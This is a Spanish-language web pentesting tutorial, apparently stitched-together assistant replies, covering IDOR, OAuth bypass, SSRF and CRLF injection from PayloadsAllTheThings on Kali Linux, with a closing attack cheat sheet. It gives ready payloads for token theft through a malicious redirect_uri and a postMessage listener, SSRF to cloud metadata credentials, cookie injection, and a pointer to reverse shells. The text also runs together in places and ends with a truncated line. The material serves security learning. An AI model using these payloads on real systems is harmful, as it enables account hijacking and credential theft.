https://banco.com/ver_factura?id=1005
Si simplemente cambias el número a 1004 y puedes ver la factura de otra persona, has encontrado un IDOR. El servidor "confía" en que si pides el ID 1004, es porque tienes derecho a él.
2. Variaciones en PayloadsAllTheThings
El repositorio detalla que los IDOR no siempre son tan obvios como un número en la URL. Aquí tienes las variantes que debes buscar:
A. IDOR en el Cuerpo de la Petición (JSON/POST)
A veces el ID no está en la URL, sino en los datos que envías al servidor:
{
"user_id": "123",
"action": "view_profile"
}
Si cambias "123" por "124", podrías obtener los datos de otro usuario.
B. IDOR con UUIDs / GUIDs
Muchos desarrolladores usan identificadores largos como 550e8400-e29b-41d4-a716-446655440000 pensando que son imposibles de adivinar. PayloadsAllTheThings sugiere buscarlos en:
Otras páginas públicas (perfiles públicos).
Respuestas de la API que devuelven listas de usuarios.
C. Cambio de Método HTTP
A veces el acceso de lectura está protegido, pero el de escritura no.
Si
GET /api/user/100falla (bloqueado), intenta:PUT /api/user/100oDELETE /api/user/100.
3. Técnicas de Bypass de Control de Acceso
Si el sistema tiene una protección básica, el repo recomienda probar estas técnicas de "confusión":
Parameter Pollution (HPP): Enviar el ID dos veces.
?id=MI_ID&id=ID_VICTIMA(El WAF mira el primero, la App usa el segundo).Añadir extensiones:
GET /v1/user/100.jsonoGET /v1/user/100.xml.Uso de cabeceras de enrutamiento: Engañar al servidor para que piense que la petición viene de
localhost:X-Forwarded-For: 127.0.0.1oX-Custom-IP-Authorization: 127.0.0.1.
4. Cómo automatizar esto en Kali
Para encontrar IDORs, no usamos diccionarios de payloads agresivos, sino herramientas que comparan permisos. En tu Kali, lo ideal es usar Burp Suite con estas extensiones recomendadas por la comunidad de PayloadsAllTheThings:
Autorize: Es la herramienta definitiva. Navegas por la web con tu usuario "A", y Autorize repite todas tus peticiones con las cookies del usuario "B" para ver cuáles responden con un
200 OK(éxito).AutoRepeater: Clona peticiones y reemplaza valores automáticamente.
5. ¿Dónde encontrar la guía en tu sistema?
Puedes consultar las notas sobre control de acceso aquí:
/usr/share/payloadsallthethings/Insecure Direct Object Reference/
Allí verás una lista de comprobación (checklist) para no olvidar ningún parámetro, desde las cookies hasta las cabeceras personalizadas de la API.
¿Cuál es el siguiente paso lógico?
El IDOR suele ser el principio. Una vez que puedes leer datos de otros, podrías intentar Privilege Escalation (Escalada de Privilegios) para convertirte en administrador.
Entrar en la sección de OAuth Overflow / Bypass de PayloadsAllTheThings es sumergirse en la seguridad de las APIs modernas. OAuth 2.0 es el protocolo que permite que "Inicies sesión con Google/Facebook" en otras webs. Como es un proceso de varios pasos entre tres partes (Usuario, Cliente y Proveedor), hay mucho margen para el error.
En el repositorio, esta sección se enfoca en cómo un atacante puede "robar" el token de acceso para suplantar la identidad de la víctima.
1. El flujo de OAuth (Y dónde se rompe)
El flujo normal es:
El usuario hace clic en "Login con Google".
Google redirige al usuario a una
redirect_uricon un Code o Token.La aplicación usa ese código para iniciar la sesión.
El ataque ocurre principalmente en el paso 2.
2. Técnicas de Bypass en PayloadsAllTheThings
Estas son las formas más "exóticas" de romper OAuth que encontrarás en el repo:
A. Redirect URI Manipulation (El robo del Token)
Es la vulnerabilidad más común. Si el desarrollador no bloqueó exactamente la URL de redirección, puedes intentar enviarla a tu propio servidor:
Payload:
https://oauth-provider.com/auth?client_id=123&redirect_uri=https://sitio-malicioso.comSi el proveedor acepta la URL, el token de la víctima llegará directamente a tus logs.
B. Bypass de Validación de Dominio
Si el sistema solo permite subdominios de empresa.com, el repo sugiere trucos de confusión de URL:
https://empresa.com.atancante.comhttps://atancante.com?help=empresa.comhttps://empresa.com%2f%2f.atancante.com
C. OAuth Account Hijacking (Pre-Auth)
Si una web permite registrarse con email/password y también con OAuth, puedes intentar:
Crear una cuenta con el email de la víctima (
victima@gmail.com).Esperar a que la víctima intente "Loguearse con Google".
En algunos sistemas mal configurados, las cuentas se vinculan automáticamente, dándote acceso si tú ya tenías la sesión abierta de la cuenta manual.
3. Explotando el "State" Parameter
El parámetro state se usa para prevenir ataques de CSRF en OAuth. Es un código único que asegura que la respuesta del servidor viene de una petición que tú iniciaste.
El Ataque: Si el parámetro
stateno se valida o es predecible, un atacante puede generar un enlace de inicio de sesión, enviárselo a la víctima y forzarla a vincular su cuenta de redes sociales a la cuenta del atancante.
4. Cross-Site PostMessage Attacks
Muchas implementaciones modernas de OAuth usan ventanas emergentes (pop-ups). Cuando el login termina, la ventana envía el token a la web principal usando postMessage.
Payload: Si la web principal no verifica quién envió el mensaje (el origen), un atacante puede abrir la web en un iframe y "escuchar" el token:
window.addEventListener("message", function(event) {
console.log("Token robado: " + event.data);
}, false);
5. Herramientas en tu Kali para OAuth
Para auditar esto, el repositorio recomienda no usar herramientas automáticas genéricas, sino centrarse en interceptar el tráfico con Burp Suite:
Burp Suite + CSRF Scanner: Para ver si el parámetro
statees estático.OAUTH Token Leak Search: Buscar si el token aparece en cabeceras
Referer(cuando la página redirige a un sitio externo como un chat o un analytics justo después del login).
Puedes encontrar la lista de verificación completa en tu terminal:
/usr/share/payloadsallthethings/OAuth/
¿Qué sigue después de OAuth?
Si logras un bypass de OAuth, normalmente obtienes acceso a la cuenta del usuario. Desde ahí, podrías intentar buscar IDORs dentro de la sesión o intentar una Escalada de Privilegios.
El SSRF (Server-Side Request Forgery) es uno de los ataques de infraestructura más potentes y elegantes que encontrarás en PayloadsAllTheThings. En este escenario, tú no atacas directamente al servidor para entrar en él, sino que obligas al servidor a ser tu "proxy" para atacar a otros.
Es como si el servidor fuera un guardia que tiene acceso a una zona VIP (la red interna) a la que tú no puedes entrar. Engañas al guardia para que entre él y te traiga lo que hay dentro.
1. ¿Cómo funciona el SSRF?
Ocurre cuando una aplicación web necesita obtener un recurso externo (como una imagen de otra web, un archivo PDF o una vista previa de un enlace) y utiliza una URL proporcionada por el usuario sin validarla.
2. Tipos de SSRF en el Repositorio
Si revisas /usr/share/payloadsallthethings/Server Side Request Forgery/, verás que los ataques se dividen según el objetivo:
A. Escaneo de Red Interna
El servidor web suele estar en una red local con otros servidores (bases de datos, paneles de administración, Jenkins, etc.) que no están en Internet.
Payload:
http://192.168.1.1:8080ohttp://localhost:22.Si el servidor responde rápido o con un error distinto, sabes que ese puerto/IP está vivo en la red interna.
B. Ataque a Metadatos de la Nube (Cloud Metadata)
Este es el "premio gordo" en entornos AWS, Google Cloud o Azure. Las instancias de la nube tienen una IP interna especial (169.254.169.254) que devuelve información sensible, ¡incluyendo claves de acceso (Access Keys)!
AWS Payload:
http://169.254.169.254/latest/meta-data/iam/security-credentials/nombre-del-rol
C. Uso de Protocolos Alternativos
No solo puedes usar http://. El repositorio destaca otros esquemas que el servidor podría soportar:
file:///etc/passwd(Para leer archivos locales).gopher://(Un protocolo antiguo pero muy potente que permite enviar paquetes crudos a bases de datos como Redis o MySQL).dict://127.0.0.1:11211/stat(Para interactuar con Memcached).
3. Bypassing (Salto de Filtros)
Muchos desarrolladores intentan bloquear IPs como 127.0.0.1 o localhost. El repo ofrece formas ingeniosas de saltarse esto:
Conversión a Decimal/Hexadecimal: En lugar de
127.0.0.1, usa2130706433o0x7f000001.DNS Rebinding: Usar un dominio propio que la primera vez apunte a una IP pública (para pasar el filtro) pero la segunda vez apunte a
127.0.0.1.Redirecciones: Apuntar a tu propio servidor
http://tu-ip.com/redirecty que este devuelva un código 302 Redirect haciahttp://127.0.0.1.
4. Herramientas en tu Kali
Para automatizar la búsqueda de SSRF, el repo sugiere:
SSRFmap: Una herramienta específica para buscar y explotar SSRF.
Burp Suite Collaborator: Es esencial. Envías una URL del "Collaborator" y, si recibes una notificación, significa que el servidor web ha intentado contactar contigo. ¡Vulnerabilidad confirmada!
Gopherus: Para generar payloads de
gopher://que ataquen bases de datos internas.
¿Cuál es el impacto final?
Un SSRF bien ejecutado puede llevar a la ejecución remota de comandos (RCE) si logras hablar con una instancia de Redis o un panel de administración interno que no tenga contraseña (porque "confía" en que nadie de fuera puede llegar a él).
La inyección CRLF (Carriage Return Line Feed) es una vulnerabilidad que a menudo se subestima, pero que en las manos correctas funciona como una "llave maestra" para manipular el protocolo HTTP.
En PayloadsAllTheThings, esta sección se centra en cómo insertar caracteres de control invisibles para "romper" una respuesta del servidor y escribir tus propias cabeceras (headers) o incluso un cuerpo de página nuevo.
1. ¿Qué es CRLF?
El nombre viene de dos caracteres especiales que se usan para marcar el final de una línea en el protocolo HTTP:
CR (Carriage Return):
\ro%0Den hexadecimal.LF (Line Feed):
\no%0Aen hexadecimal.
El navegador y el servidor usan la secuencia \r\n para separar las cabeceras (como Set-Cookie) y para separar las cabeceras del cuerpo del mensaje (HTML).
2. Escenarios de Ataque en el Repositorio
Si exploras /usr/share/payloadsallthethings/CRLF Injection/, verás que el objetivo es insertar estos caracteres en un parámetro que el servidor luego refleja en una cabecera.
A. HTTP Response Splitting (División de Respuesta)
Si puedes inyectar dos secuencias de CRLF seguidas (\r\n\r\n), el navegador creerá que las cabeceras han terminado y que todo lo que sigue es el cuerpo de la página.
Payload:
foobar%0D%0A%0D%0A<html><h1>Hacked</h1></html>Resultado: El servidor envía una página web diseñada por ti en lugar de la original.
B. Inyección de Cookies (Session Fixation)
Puedes forzar al navegador de la víctima a usar una cookie específica inyectando una cabecera Set-Cookie.
Payload:
foobar%0D%0ASet-Cookie:sessionid=12345Impacto: Si la víctima hace clic en ese enlace, su sesión quedará fijada con tu ID.
C. Bypass de XSS Filters
A veces, los WAFs buscan etiquetas <script>, pero si usas CRLF para mover tu script a una nueva línea o a una cabecera como Location, puedes evadir protecciones básicas.
3. Payloads Típicos y Codificación
En tu Kali, verás listas de payloads que usan diferentes formas de representar estos caracteres para evitar filtros:
URL Encoded:
%0D%0ADoble codificación:
%250D%250AUTF-8:
\u000d\u000a
Un ejemplo de bypass que verás en el repo para redirigir a un usuario mientras robas su información:
/redireccion?url=google.com%0d%0aLocation:%20javascript:alert(document.cookie)
4. Cómo detectarlo en un Pentest
El repositorio recomienda buscar parámetros que afecten a las cabeceras de respuesta, como:
Redirecciones: Parámetros como
?url=,?next=,?redir=.Configuración de Idioma: Parámetros como
?lang=.
Herramientas en Kali:
CRLFs fuzzing: Puedes usar
ffufcon la lista de PayloadsAllTheThings:Bashffuf -u "http://objetivo.com/vulnerable?param=FUZZ" -w /usr/share/payloadsallthethings/CRLF\ Injection/Intruders/CRLF-Injection.txtBurp Suite: Busca el cambio en el número de cabeceras en la respuesta (Response Headers).
Resumen de tu Viaje por PayloadsAllTheThings
Hemos cubierto prácticamente todo el espectro del pentesting web moderno siguiendo este repositorio:
Inyecciones: SQLi, Command Injection, XXE, SSTI.
Lógica y Acceso: IDOR, OAuth Bypass.
Archivos y Red: File Upload Bypass, SSRF.
Manipulación de Protocolo: XSS y CRLF.
Este repositorio es una herramienta viva. Como paso final, te recomiendo que en tu terminal de Kali ejecutes:
cd /usr/share/payloadsallthethings/ && ls -R | less
Esto te permitirá ver la inmensa cantidad de carpetas que aún quedan por explorar (como Cloud, CMS específicos, o Mobile).
Aquí tienes una Hoja de Ruta (Cheat Sheet) condensada, basada en nuestra travesía por PayloadsAllTheThings, para que la tengas a mano en tu terminal de Kali Linux.
🚀 Plan de Ataque: Resumen de Auditoría Web
1. Reconocimiento y Superficie de Ataque
Subdomain Enumeration: No te quedes en el dominio principal.
Herramienta:
subfinder -d objetivo.com | httpxCheck: Busca errores de "404 Not Found" en servicios externos para Subdomain Takeover.
WAF Detection: Antes de lanzar payloads pesados, identifica al guardia.
Herramienta:
wafw00f https://objetivo.com
2. Inyecciones de Datos (El "Core")
SQL Injection: Prueba bypasses con comentarios (
/**/) o cambios de mayúsculas si hay WAF.SSTI: Si ves que la web refleja tu nombre, prueba
{{7*7}}. Si devuelve49, busca el RCE según el lenguaje (Python/Jinja2 es el más común).XXE: Siempre que veas una petición XML o incluso JSON, intenta cambiar el Content-Type a
application/xmly define unaENTITY SYSTEM.
3. Manipulación de Archivos y Sistema
File Upload: Nunca confíes en la extensión.
Truco: Cambia
.phppor.phtmlo añade Magic Bytes (GIF89a;) al inicio de tu shell.
SSRF: Si la web carga imágenes por URL, apunta a la IP de metadatos de la nube:
169.254.169.254.Command Injection: Usa operadores como
;,|o$( ). Si es ciego, usasleep 10para confirmar.
4. Lógica de Usuario y Sesión
IDOR: Intercepta con Burp Suite y cambia los IDs numéricos en URLs y cuerpos JSON. Usa la extensión Autorize.
OAuth: Revisa la
redirect_uri. Si puedes enviarla a tu dominio, robas el token de acceso.CRLF: Inyecta
%0D%0Aen parámetros de redirección para intentar fijar cookies o dividir la respuesta HTTP.
📂 Atajos rápidos en tu Kali Linux
Para encontrar rápidamente cualquier payload sin abrir el navegador:
Buscar un payload específico (ej. LFI):
grep -r "etc/passwd" /usr/share/payloadsallthethings/Listar todas las Reverse Shells disponibles:
cat /usr/share/payloadsallthethings/Methodology\ and\ Resources/Reverse\ Shell\ Cheatsheet.mdDiccionarios para Fuzzing (Burp Intruder/FFUF):
Están en
/usr/share/payloadsallthethings/*/Intruders/
Bypass de esa sección específica.